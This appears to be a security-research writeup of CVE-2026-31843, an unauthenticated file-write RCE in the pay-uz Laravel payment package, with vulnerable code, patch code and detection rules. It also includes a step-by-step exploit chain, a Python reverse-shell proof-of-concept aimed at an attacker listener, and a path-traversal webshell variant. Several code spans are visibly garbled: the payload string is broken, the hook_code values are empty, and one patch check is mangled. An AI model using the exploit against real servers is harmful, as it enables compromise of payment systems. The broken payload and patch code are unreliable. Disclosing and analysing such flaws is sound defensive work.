home intel cve-2026-31843-pay-uz-laravel-rce-writeup
CVE Analysis 2026-04-16 · 8 min read

CVE-2026-31843: Unauthenticated RCE in goodoneuz/pay-uz via PHP File Overwrite

The pay-uz Laravel package exposes an unauthenticated endpoint that writes attacker-controlled PHP into executable hook files, enabling trivial remote code execution on any default install.

#remote-code-execution#laravel-package#unauthenticated-access#arbitrary-file-write#payment-processing
Technical mode — for security professionals
▶ Attack flow — CVE-2026-31843 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-31843Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-31843 is a CVSS 9.8 critical unauthenticated remote code execution vulnerability in the goodoneuz/pay-uz Laravel payment integration package, affecting all releases up to and including 2.2.24. The vulnerability class is a direct server-side PHP file write via an unauthenticated HTTP endpoint — no session, no token, no authentication challenge of any kind stands between the internet and arbitrary code execution on the host.

The attack primitive is straightforward: the /payment/api/editable/update endpoint accepts a payment provider identifier and arbitrary string content, then writes that content verbatim into a PHP hook file under the package's storage path. That hook file is subsequently require()d during normal payment callback processing, giving any attacker a reliable, persistent RCE primitive with the privileges of the web server process.

Root cause: The EditableController@update route is registered via Route::any() without authentication middleware and passes unsanitized POST body content directly to file_put_contents(), targeting a PHP file that is later require()d during payment hook dispatch.

Affected Component

Package: goodoneuz/pay-uz on Packagist. Affected: <= 2.2.24. The vulnerable surface lives across three files that form a complete write-then-execute chain:

  • src/routes/api.php — route registration without middleware
  • src/Http/Controllers/EditableController.php — the write sink
  • src/PaymentService.php — the require() execution trigger

Root Cause Analysis

Route registration is the first failure point. The package self-registers routes via a service provider using Route::any(), which accepts all HTTP verbs and applies no middleware group:

// src/routes/api.php
// BUG: Route::any() with no auth middleware — globally accessible
Route::prefix('payment/api')->group(function () {
    Route::get('editable/index',   [EditableController::class, 'index']);
    Route::any('editable/update',  [EditableController::class, 'update']); // BUG: unauthenticated
    Route::any('editable/delete',  [EditableController::class, 'delete']);
});

The controller's update() method receives a payment system identifier (pay_system) and a content blob (hook_code), constructs a target file path from the identifier, and writes attacker content without any sanitization, validation, or authorization check:

// src/Http/Controllers/EditableController.php
class EditableController extends Controller
{
    public function update(Request $request)
    {
        // BUG: no auth check, no capability check, no CSRF enforcement (API route)
        $paySystem = $request->input('pay_system');   // attacker-controlled
        $hookCode  = $request->input('hook_code');    // attacker-controlled, arbitrary PHP

        // BUG: path constructed directly from user input with no sanitization
        $hookPath = base_path(
            'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
        );

        // BUG: no traversal check — $paySystem = '../../public/shell' is valid here
        // BUG: file_put_contents with attacker-controlled content to attacker-influenced path
        file_put_contents($hookPath, $hookCode);

        return response()->json(['status' => 'success']);
    }
}

The execution sink lives in the payment service dispatcher. When a legitimate (or attacker-triggered) payment callback arrives, the dispatcher require()s the hook file for the relevant payment system:

// src/PaymentService.php
class PaymentService
{
    public function dispatchHook(string $paySystem, array $params): mixed
    {
        $hookPath = base_path(
            'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
        );

        if (file_exists($hookPath)) {
            // BUG: require() executes whatever file_put_contents() wrote earlier
            return require($hookPath);
        }

        return null;
    }
}

The vendor references a "payment secret token" in documentation. This token is validated only inside individual hook implementations — the update endpoint itself performs no such check and does not reference the token at any point in its execution path.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker enumerates target — confirm pay-uz is installed by probing
   GET /payment/api/editable/index → HTTP 200 with JSON confirms presence

2. POST to /payment/api/editable/update with:
      pay_system = "Payme"   (any valid hook name, or traversal string)
      hook_code  = ""
   → file_put_contents() overwrites vendor/goodoneuz/pay-uz/src/PayHooks/PaymeHook.php
   → Server responds: {"status":"success"}

3. Trigger execution — two viable paths:

   Path A (passive — wait for legitimate payment callback):
   → Any Payme payment callback hits /payment/payme/pay
   → PaymentService::dispatchHook('Payme', $params) is called
   → require('PaymeHook.php') executes attacker PHP

   Path B (active — attacker triggers the hook directly):
   → POST /payment/payme/pay with minimal valid-looking body
   → Dispatcher resolves hook → require() → RCE

4. Escalate: replace hook_code with full reverse shell or dropper.
   The file persists on disk until overwritten — no cleanup needed.

5. Optional path traversal:
      pay_system = "../../public/cmd"
      hook_code  = ""
   → Writes webshell to public/cmd.php — directly web-accessible,
     no hook dispatch required for execution.

A minimal proof-of-concept HTTP request looks like this:

#!/usr/bin/env python3
# CVE-2026-31843 — pay-uz unauthenticated RCE PoC
# CypherByte research — do not use without written authorization

import requests
import sys

TARGET   = sys.argv[1]  # e.g. https://target.tld
LHOST    = sys.argv[2]
LPORT    = sys.argv[3]

WRITE_URL   = f"{TARGET}/payment/api/editable/update"
TRIGGER_URL = f"{TARGET}/payment/payme/pay"

PAYLOAD = (
    f"$s,1=>$s,2=>$s],$pipes);"
    f"?>"
)

# Step 1: Write the payload
r = requests.post(WRITE_URL, data={
    "pay_system": "Payme",
    "hook_code":  PAYLOAD,
}, timeout=10)

assert r.status_code == 200, f"Write failed: {r.status_code}"
print(f"[+] Hook overwritten — {r.json()}")

# Step 2: Trigger hook execution
r2 = requests.post(TRIGGER_URL, data={"amount": "1000"}, timeout=10)
print(f"[+] Trigger sent — status {r2.status_code}")
print("[*] Check listener")

Memory Layout

This is a PHP file-system vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation:

FILESYSTEM STATE — BEFORE ATTACK:
vendor/goodoneuz/pay-uz/src/PayHooks/
  ├── PaymeHook.php        [legitimate hook, 847 bytes, owned by deploy user]
  ├── ClickHook.php        [legitimate hook, 612 bytes]
  └── PayzHook.php         [legitimate hook, 703 bytes]

POST /payment/api/editable/update
  pay_system = "Payme"
  hook_code  = ""
      │
      ▼
  file_put_contents(
      'vendor/.../PayHooks/PaymeHook.php',   ← resolved path
      ''       ← attacker content
  )

FILESYSTEM STATE — AFTER ATTACK:
vendor/goodoneuz/pay-uz/src/PayHooks/
  ├── PaymeHook.php        [OVERWRITTEN, 28 bytes — attacker PHP]  ← !!!
  ├── ClickHook.php        [unchanged]
  └── PayzHook.php         [unchanged]

EXECUTION STATE — HOOK DISPATCH:
PaymentService::dispatchHook('Payme', [...])
  └── require('PaymeHook.php')
        └── system($_GET['c'])    ← OS command execution
              └── web server process context (www-data / nobody)

PATH TRAVERSAL VARIANT:
  pay_system = "../../public/shell"
  → resolved: vendor/goodoneuz/pay-uz/src/PayHooks/../../public/shell.php
  → normalizes to: public/shell.php   ← web-accessible, no dispatch needed

Patch Analysis

// BEFORE (vulnerable — EditableController.php <= 2.2.24):
public function update(Request $request)
{
    $paySystem = $request->input('pay_system');
    $hookCode  = $request->input('hook_code');

    $hookPath = base_path(
        'vendor/goodoneuz/pay-uz/src/PayHooks/' . $paySystem . 'Hook.php'
    );

    file_put_contents($hookPath, $hookCode);

    return response()->json(['status' => 'success']);
}

// AFTER (patched — recommended remediation):
public function update(Request $request)
{
    // FIX 1: Require authenticated admin session
    $this->middleware('auth:sanctum');
    $this->authorize('manage-payment-config');

    $paySystem = $request->input('pay_system');
    $hookCode  = $request->input('hook_code');

    // FIX 2: Allowlist validation — reject anything not in known set
    $allowed = ['Payme', 'Click', 'Payz', 'Uzum'];
    if (!in_array($paySystem, $allowed, true)) {
        return response()->json(['status' => 'error', 'msg' => 'invalid system'], 400);
    }

    // FIX 3: Realpath check — prevent traversal escaping the hooks directory
    $hooksDir = realpath(base_path('vendor/goodoneuz/pay-uz/src/PayHooks'));
    $hookPath = realpath($hooksDir . DIRECTORY_SEPARATOR . $paySystem . 'Hook.php');

    if ($hookPath === false || strpos($hookPath, $hooksDir) !== 0) {
        return response()->json(['status' => 'error', 'msg' => 'invalid path'], 400);
    }

    // FIX 4: Persist hook config to database/config rather than executable PHP file
    // Prefer: PayHookConfig::updateOrCreate(['system' => $paySystem], ['config' => $hookCode]);
    // If file write is truly required, strip opening PHP tags and eval surface:
    if (strpos($hookCode, 'json(['status' => 'error', 'msg' => 'invalid content'], 400);
    }

    file_put_contents($hookPath, $hookCode);

    return response()->json(['status' => 'success']);
}
// ROUTE FIX — src/routes/api.php
// BEFORE:
Route::any('editable/update', [EditableController::class, 'update']);

// AFTER:
Route::middleware(['auth:sanctum', 'can:admin'])->group(function () {
    Route::post('editable/update', [EditableController::class, 'update']);
});

Detection and Indicators

Detection should focus on three signals: unexpected POST requests to the update endpoint, anomalous modification timestamps on hook files, and short/malformed PHP hook file content.

NGINX/APACHE ACCESS LOG — ATTACK SIGNATURE:
POST /payment/api/editable/update HTTP/1.1  [any User-Agent]
Content-Type: application/x-www-form-urlencoded
Body contains: pay_system= AND hook_code=

GREP PATTERN:
grep -E 'POST /payment/api/editable/update' /var/log/nginx/access.log

FILE INTEGRITY CHECK — DETECT OVERWRITTEN HOOKS:
find vendor/goodoneuz/pay-uz/src/PayHooks/ -name '*.php' \
     -newer vendor/goodoneuz/pay-uz/composer.json \
     -exec wc -c {} \;
# Legitimate hooks are 600–1200 bytes.
# Attacker shells are typically 28–300 bytes.

YARA RULE:
rule PayUZ_CVE_2026_31843_WebShell {
    meta:
        description = "Detects webshell written via CVE-2026-31843 into pay-uz hook files"
        cve         = "CVE-2026-31843"
    strings:
        $path   = "PayHooks" ascii
        $shell1 = "system($_" ascii nocase
        $shell2 = "passthru($_" ascii nocase
        $shell3 = "exec($_" ascii nocase
        $shell4 = "proc_open" ascii nocase
        $shell5 = "fsockopen" ascii nocase
    condition:
        $path and any of ($shell*)
}

MODSECURITY RULE (CRS-compatible):
SecRule REQUEST_URI "@contains /payment/api/editable/update" \
    "id:9999001,phase:2,deny,status:403,\
     msg:'CVE-2026-31843 exploitation attempt',\
     logdata:'Matched pay-uz editable update endpoint'"

Remediation

Immediate actions (operators):

  • Block POST /payment/api/editable/update at the WAF or reverse proxy layer until a patched package version is available.
  • Audit all files under vendor/goodoneuz/pay-uz/src/PayHooks/ for unexpected content or anomalous modification timestamps.
  • Check web server process file write history via auditd (auditctl -w vendor/goodoneuz/pay-uz/src/PayHooks -p w).
  • Rotate all payment system API keys and secrets stored in .env — if RCE occurred, assume full environment variable disclosure.

Developer actions (package maintainers):

  • Remove the editable/update route entirely or gate it behind auth + an admin authorization policy.
  • Replace the file-write pattern with database-backed configuration storage — writing user input into require()d PHP files is architecturally unsound regardless of authentication.
  • Apply realpath() canonicalization and allowlist validation before any filesystem operation keyed on user input.
  • Add a php artisan vendor:publish-based config migration so hook logic is never stored inside the vendor/ tree.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →